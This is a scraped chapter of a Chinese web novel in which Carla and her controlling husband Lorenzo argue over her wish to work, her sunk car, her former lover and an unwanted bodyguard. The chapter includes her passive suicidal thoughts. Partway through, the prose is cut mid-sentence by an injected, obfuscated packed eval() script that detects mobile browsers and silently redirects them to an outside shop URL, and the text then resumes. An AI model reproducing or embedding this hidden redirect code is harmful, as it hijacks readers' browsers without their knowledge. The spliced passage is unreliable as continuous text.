文趣网 > 都市小说 > 合法占有 > 39. Chapter 39
    当卡拉蜷缩在沙发上的时候,她几乎以为自己一辈子都不可能复原了。

    那些话,那些刺,那些从她嘴里发放出去、带着恶意的脏污,它们已经永远都收不回来了。它们就像碎玻璃一样撒在两人之间,而她赤着脚站在那里,无路可走。

    洛伦佐没有再说什么。他只是静静地坐在她身边,陪伴着她,像一座沉默的山。之后,不知道过了多久,他终于起身离开。再回来时,手里多了一杯水,轻轻放在她触手可及的地方。

    然后,他还是离开了。

    他大概也明白她的羞耻,她的自责,她暂时不想面对他,也根本就无法去面对他。他留在这里没有任何帮助。

    门关上的声音很轻。

    卡拉独自在那张沙发上待了很久,也想了很久,直到窗外的光线从金黄慢慢地变得暗沉,再变成黑暗。女佣轻手轻脚地走进来询问她要不要开灯,她摇了摇头。又问她要不要吃晚餐,她还是摇了摇头。

    她确实是什么都吃不下。

    之后,她也不知道自己究竟是怎么回到房间的。也许是用她的双脚一步一步走回去的,也许是飘回去的。她只记得那条熟悉的长长的走廊,和两侧墙壁上那些永远不会说话的艺术画,以及那个她曾经拼命回避的房间……

    无论是对格蕾丝还是对他,她都已经食言过了。她不能否认,她让自己找尽了理由,然后睁着眼睛犯下了错。现在,她不想再对任何人继续食言。她已经承诺了说要乖乖做他的妻子,所以,她会让自己乖乖待在他身边,尽可能与他和谐相处。尽管在她的内心深处,她还是更宁愿像她麻木的母亲一样躺进放满了水的浴缸,永远都别再醒过来了。

    她们确实是天生的母女。她想,无论她究竟是多么怨恨布丽吉特·多尔蒂,事实都一次又一次告诉她,她们都是一样的软弱且没用,她们知道自己什么也无能为力,便只会用消失来应对无法承受的生活。

    她真的不可以就这么一睡不起吗?

    反正生命就像雾气一样脆弱。

    然后,她的躯体会在坟墓中腐烂,虫子将成为她的裹尸布。

    可是第二天早上,她还是像每个早上一样,自然而然苏醒了过来。

    阳光照常升起了,窗外的世界照常运转,她的心脏也照常跳动。一切都照常,就仿佛之前的一切就只是一场过于真实的梦。

    确实,人的生活就是这样,无论多狼狈,多羞愧,多觉得自己不配,时间还是会默默把你推向下一个清晨。

    她情不自禁坐起身,向着阳光伸出了手,让它落在她的手心,那感觉暖洋洋的。她就这么盯着那光斑,忽然想起格蕾丝曾经就很喜欢这样把手伸进光里,说这是“太阳在摸我的手”。

    一想到格蕾丝,那种令她窒息的羞耻与痛楚又重新涌了上来。

    卡拉,坚持住。

    她只能如此告诉自己。

    当她顶着一张憔悴的脸下楼时,洛伦佐仍坐在餐桌旁读着他的报纸。

    听到她的脚步声,他抬起头,目光在她的脸上停留片刻。这一眼太短了,短到她根本读不出任何的情绪,又太长,长到足够让她想起自己昨天是怎样用他与罗伊辛有染来羞辱他,又怎样像个婴儿一样蜷缩在他身旁。

    一时间,她不禁有些进退两难。

    但很快,她又把这些念头抛之脑后。

    她早提醒过了,她是一定会让他失望的,他凭什么不相信呢?

    清醒一点,别再对她抱一些多余的希望了。

    “早。”他说。

    “早。”她轻轻回。

    之后,笼罩着他们的,便又是沉默,熟悉的沉默,但至少已经不再是过去那种冷冰冰的、对抗性的沉默。它更像一层薄薄的壳,覆盖着下面还未愈合的、裸露的皮肤。

    卡拉机械地拿起叉子,戳了戳盘中的煎蛋,直到金黄色的蛋液流出来。

    “我……”她忽然开口,又停住。

    洛伦佐并没有催促她。

    卡拉深吸一口气,决定直接说重点。

    “我还是想找份工作。”

    她知道她的要求可能显得有些突兀,但终于说出口后,她还是觉得整个人轻松了不少。

    他自己说过会考虑她的任何要求,而到了现在,她想,不管她再说什么也不会使一切变得更糟。

    她确实想工作,她的存款最近消耗太大,她需要挣钱。而且,她也知道,这个人是真的一定要把她留在身边,而她现在也根本不可能再头也不回离开,她的家人需要他提供的安全网。

    那么,就至少让她给这种百无聊赖的生活稍微找点意义吧。

    总而言之,她是不会再继续拖延下去了。她会学习圣人精神,去狠狠踩死那一直叫着“Cras(明天)”的乌鸦,告诉自己,Hodie(今天)。

    洛伦佐翻阅报纸的动作顿了一下,他抬起眼,看着她。

    “什么?”

    “我说找工作。”卡拉重复,声音比刚才稳了一些,“一份正经的、普通的、能让我每天至少有点事情做的工作。也许,我还是不能太闲了,我曾经整整两年没工作过一天,最后的结果很糟,不是吗?”

    “好吧。”他说。

    闻言,卡拉眨眨眼睛,人都傻了。

    他真的直接就说了那句话?

    好吧?

    这……可真是完全出乎她的预料。

    她都已经做好了所有的心理准备,以为将会有一场八成以她的落败而告终的拉锯战,以为他一定会继续用那套“他的妻子不需要工作”的大男子主义说辞,以为他至少也要对她的想法冷嘲热讽一下,而她都不知道自己能不能克制住自己别立刻嘲讽回去……

    可是,他就这么轻飘飘同意了?就是一句“好吧”?

    真的没有任何附带条件?

    “你想做些什么工作?”他又问她。

    卡拉仍在惊讶,好半天才反应过来他已经提出一个问题。

    “我还没有想好,”她老实说,“但总会有适合的,反正我一直也挺勤快的,我过去也做过不少工作。等稳定下来了,我还可以给自己买辆车,未来要是真存了点钱,我还可以去……”

    她的话显然让洛伦佐有些无法理解,他打断了她:“车库里有很多辆车。”

    卡拉道:“我为什么要开着那么好的车去端盘子?便宜的二手车才适合我。”

    “事实上,你的驾驶技术简直一团糟,我甚至不认为你应该自己开任何车。”

    卡拉诧异地扬起了眉,却无法反驳。

    因为确实如此……

    多年以来,她一直是个非常糟糕的司机,也就只比她那险些被吊销驾照的哥哥稍微强那么一点。他们兄妹俩都很喜欢开车,然后也都总是开得又快又不负责任,唯恐死得不够快……

    可是,他什么时候还见过她开车?

    “你……怎么知道我开车技术差?”她问他,声音里带着一丝本能的警惕。

    洛伦佐的表情没有变化。

    “我知道很多事情,卡拉。”

    闻言,卡拉咬住了下唇,心里那点子刚刚压下去的刺顿时又竖了起来。是哦,他知道很多事情。他一直就是这样,天天悄悄地注意着一切,掌控着一切,却从来都不屑于表现出来。

    “无论如何我拿到了驾照,不是么?”卡拉道,“这说明我有资格自己开车。而且,我开了这么多年也没出过什么事,我最多就是拿过几次超速罚单。”

    事实上,她本该拿到更多罚单,各种罚单,只是大部分都被她逃过去了。

    毕竟警察大部分是男人,男人就是男人,他们通常很乐意跟过路的辣妹调调情。在她仍然是脱衣舞娘时,要是碰巧对方还曾经光顾过她的俱乐部,她大概还会撒撒娇,眨着眼睛提议下次给他免费来支大腿舞……

    洛伦佐道:“你就只是一时突发奇想,趁人不备把你的车沉入了湖底罢了。”

    听他提起这个,卡拉怔了怔,顿时就又有些不知道说什么了。天呐,这可不是她想谈的。她只想谈她找工作的问题,不想和他吵架,她现在讨厌吵架,也害怕自己可能继续失控。

    可洛伦佐却仿佛非要与她回忆过往,又道:“我以为你一直很喜欢那辆车。”

    卡拉讶异地看了他一眼,却依旧没有否认。她当然会喜欢那辆车。那是他当初送给她的新婚礼物,不是珠宝,不是衣服,是一辆她可以自己掌控、想去哪里就去哪里的车,而且它还那么高档,那么漂亮。

    她曾无数次开着它载格蕾丝出去玩,又或者就只是一个人在外面漫无目的地兜风。当她将车窗摇下来,让风吹乱头发,音乐开到最大,真的就好像整个世界都是属于她的……

    “确实如此。”她承认道,“我知道它很贵,很招摇,开出去像在炫耀财富。但我真的……喜欢它。”

    她停顿了一下。

    “可能太喜欢了吧,当我知道我无论如何也无法留下它时,我就选择了亲手毁掉它。这样至少这辈子,它只属于我一个人,你什么都可以收回去,但是你永远也收不回它了。”

    自私、自私、自私……

    而这也大概就是她的本质。

    洛伦佐看着她,沉默了片刻。

    “我差点以为你死了。”他缓缓开口,声音比刚才低了些。

    “直到那片湖的每一寸都被找了一遍,没有你的尸体。我松了一口气,又以为你被绑架了,可没有人来联系我。”

    这正是卡拉当初所希望的,她希望卡拉·多尔蒂可以从这个世界上消失,卡拉·多尔蒂也本就应该消失。

    至于他会在乎吗?她那时候想,可能总会有一点吧。她毕竟在他枕边躺了两年,毕竟烧了他那么多的钱。但对他来说,这种结果估计也挺不错。他从来不曾真正想要这桩婚姻,如今,他那被半强迫着买回来的妻子终于自己就遭了报应,倒也省了未来终于想甩掉她时可能会有的麻烦。

    她从来没有想过,他竟然会挖地三尺也要找她,并且最后还真找回了她。

    “我好像从来都没有问过你怎么找到我的。”她轻轻说。

    “洛克兰·科伊尔。”他说。

    卡拉愣住了。

    “你为了逃避我,也是逃避你自己,确实花了很多心思。”洛伦佐继续道,“你舍弃了关于卡拉·多尔蒂的一切,把自己打扮得面目全非,完全活成了另外一个人,还经常搬家换工作。直到有一天,你遇见了他,补上了你那些所谓的正常生活的最后一环……”

    “你恋爱了。”他的语气依然很平淡,但卡拉能听得出那下面压着的东西,“你又开始在乎自己看起来漂不漂亮,你们天天在海边散步,偶尔在餐厅吃饭,还会一起看电影、逛街,你停下来了,还和他搬到了一起,三个月。”

    卡拉沉默地继续折磨着她的煎蛋。

    那些画面——洛克兰的笑脸,海风里奔跑时他回过头看她,电影院里他把爆米花塞进专心看电影的她嘴里——曾经是她最温暖的记忆,此刻却像是一把钝刀,一点一点地割着她。

    “我想,你曾经调查过他吧。”她说。

    这是肯定的。

    而他也坦诚答道:“是。”

    “你对他做了什么?”

    洛伦佐抬起眼,那双黑眸里没有她预想的嘲讽或寒意,甚至还非常平静。

    “我到底能对他做什么?”

    但卡拉仍然有些怀疑,他当然有能力至少让洛克兰在这边混不下去,只能滚回都柏林老家。

    “他只是个普通人,”洛伦佐说,“普通的家庭,普通的学历,普通的工作,普通的梦想。他梦想着买一个有宽敞后院的小房子,结婚生子,再养一条贵宾犬。他甚至都不知道你是谁。”

    他顿了顿。

    “我让你回家的第二天,他就报警了。但很显然,他是不可能找得到莎拉·查丽蒂·伯恩的。”

    卡拉的心脏像被什么东西猛地攥住。

    她什么都没有留给他。

    连一句真话都没有。

    也许,在她的心底深处,她一直都明白,无论她如何去一次次杀死自己,她也永远无法真正重生。

    她总是要离开的。

    “后来呢?”她听见自己问。

    “我不可能去整天盯着你的前男友,”洛伦佐道,“而你又究竟想知道什么?你是想

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735852|205401||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    让我告诉你他还单身,还在想着他那个失踪的连个真实姓名都没有留下的前女友?还是想让我告诉你他过得很好,已经完全把你给忘了?”

    卡拉没有回答。

    她不知道自己到底想听什么。

    也许,她只是需要知道,那个曾经让她以为自己可以重新活一次的男人,没有因为她的离去而伤心难过,萎靡不振。

    “就这样吧,一切都已经结束了。”她最后说,声音很轻。

    而她的手也终于决定放她盘中的煎蛋一马。她放下了叉子,端起已经凉掉的咖啡,喝了一口。

    苦得刚刚好。

    “我可以再给你买一辆车。”洛伦佐忽然说,“你想要什么样的?”

    卡拉摇摇头:“我不想要,我会自己买一辆车,自己开去上班,就是这样。”

    “你知道不管让谁开车,你都不可能独自一人吧?”

    卡拉确实很想去忽视掉这个问题。

    “我不希望有人这样紧紧地跟着我,明明以前都不是这样的。”

    他的回应依旧迅速而简洁:“不行。”

    卡拉早就猜到了他的答案,却仍然试图说服他:“洛伦佐,我真的不会跑,就只是稍稍松一下手吧,在这个世界上,就没有人会带着一个西装革履的保镖去端盘子。”

    “你为什么一定要端盘子?”说完,他大概也意识到自己说得有些太轻巧。

    他看着她,几次欲言又止,最终,他道:“我想尼科洛也有休闲的衣服。”

    可是卡拉几乎无法想象不穿西装的尼科洛·比安奇。

    “他穿成流浪汉也是尼科洛·比安奇。”卡拉忍不住说,“他站在我身边就像是一块写着‘生人勿近’的活招牌。”

    “那很好。”洛伦佐语气平静,“本来就应该生人勿近。”

    他的理直气壮让卡拉一时语塞。

    “那我大概找不到任何工作了。”

    她继续道:“你知道吗?我从前生活的地方可是远没有这里这么井井有条,那里的路全都是乱的,到了晚上还偶尔能听见枪响,我在那里出生长大,一直什么事情都没有,我根本就不需要安保。”

    她让自己的声音听起来尽可能轻松。因为她很清楚那时候的她究竟是多么害怕那些偶尔出现的冲突声、枪声。

    每一天,当她独自出现在任何地方,她总是悬着一颗心。她会担忧有人忽然冒出来抢走她的所有财物,还有,一些更为可能发生的事。

    那些恶棍不可能会清楚任意一个过路人的钱包里究竟藏着多少钱,却完全可以确定一个女孩身上有什么他们想要的……

    洛伦佐顿了顿,道:“那是运气。”

    卡拉摇了摇头:“不,是经验,我懂得那里的生存法则,熟悉每一条街道,知道什么时间在哪个地方可能发生一些什么,知道应该躲开什么样的人,知道遇见什么情况应该赶紧跑——”

    “你已经永远离开那里了。”

    卡拉愣了愣。

    “确实如此,”她的声音忽然变得轻了一些,“是你把我从那个地方带走了,你给了我一个非常安全的地方,我再也不会听见枪声了。”

    洛伦佐道:“在这个世界上就没有哪里是绝对安全的。”

    “你纯粹在浪费资源。”她终于忍不住道,语气里带着更多是无力的讽意,“派人整天跟着一个端盘子的女人,我到时赚来的钱够付他工资的零头吗?这真的不划算,洛伦佐。”

    洛伦佐挑了挑眉。

    “浪费资源?”

    “对。”

    他看着她,那目光里有一种她读不懂的东西,也许是无奈,也许是被她这句话气到的好笑,也许两者都有。

    “我并不觉得让人贴身保护你的安全是在浪费资源,”他缓缓开口,“而且,跟我过去两年里找你所花的资源比,这也实在算不了什么。”

    卡拉闭嘴了。

    “警方会结案,但我不会。各种我平时想都没去想过的手段,我都用上了。”他的声音依旧平静,“最终你确实平平安安地回来了,那就都是值得的。”

    他赢了。

    卡拉意识到,在与他有关的任何话题的辩论赛里,她都没有任何胜算。

    毕竟无论如何,她都必须依靠他,然后,她还在一桩婚姻里犯了个最致命的错。

    可是洛伦佐并没有乘胜追击,只是收回了目光,端起咖啡杯,喝了一口。

    “如果这是你希望的,尼科洛他……会尽量掩人耳目。”

    他如此说,声音里透着几分勉强,就好像这真的是非常非常为难的事情。

    “但是他必须存在。现在情况很复杂,在你的安全问题上,我是永远都不可能让步的。”

    卡拉沉默了很久。

    “你总是这样。”她终于轻轻地说,“你可以告诉我,你觉得你是在保护我。你也可以告诉我,你没办法放心。你可以对我说很多很多的话,但最后,结果永远都是一样的,我不会得到任何我想要的东西。”

    洛伦佐看着她,沉默了很久。

    “你想要什么?”

    “一辆我自己买的车,一份我自己的工作,一个没人跟着的、普通的白天。下班之后我自己想去哪里就去哪里,没有人会在旁边死死地盯着我,记下我的任何事情汇报给你。”

    她顿了顿。

    “我不会再试图离开你,也不会再……对你不忠,真的,除非你自己会想要甩掉我,但是,我真的想要一点点……正常的、普通的、就属于我自己一个人的生活,真正的普通,而不是和你一起玩那些吃汉堡的过家家游戏。”

    洛伦佐没有说话。

    卡拉望着他,忽然又开始觉得很累。它不是那种刚吵完架后的疲惫,是一种更深、更沉的倦意,像是背着太重的行李走了太久,却终于发现自己其实根本就不知道终点在哪。

    “还是别搭理我了。”她说,“我知道我要求得太多了,你知道我总是这样。你愿意让我找工作,这很好了,谢谢你。”

    她站起身,椅子在地板上轻轻滑过。

    “我吃饱了。”

    即便她从头到尾就喝了一口咖啡。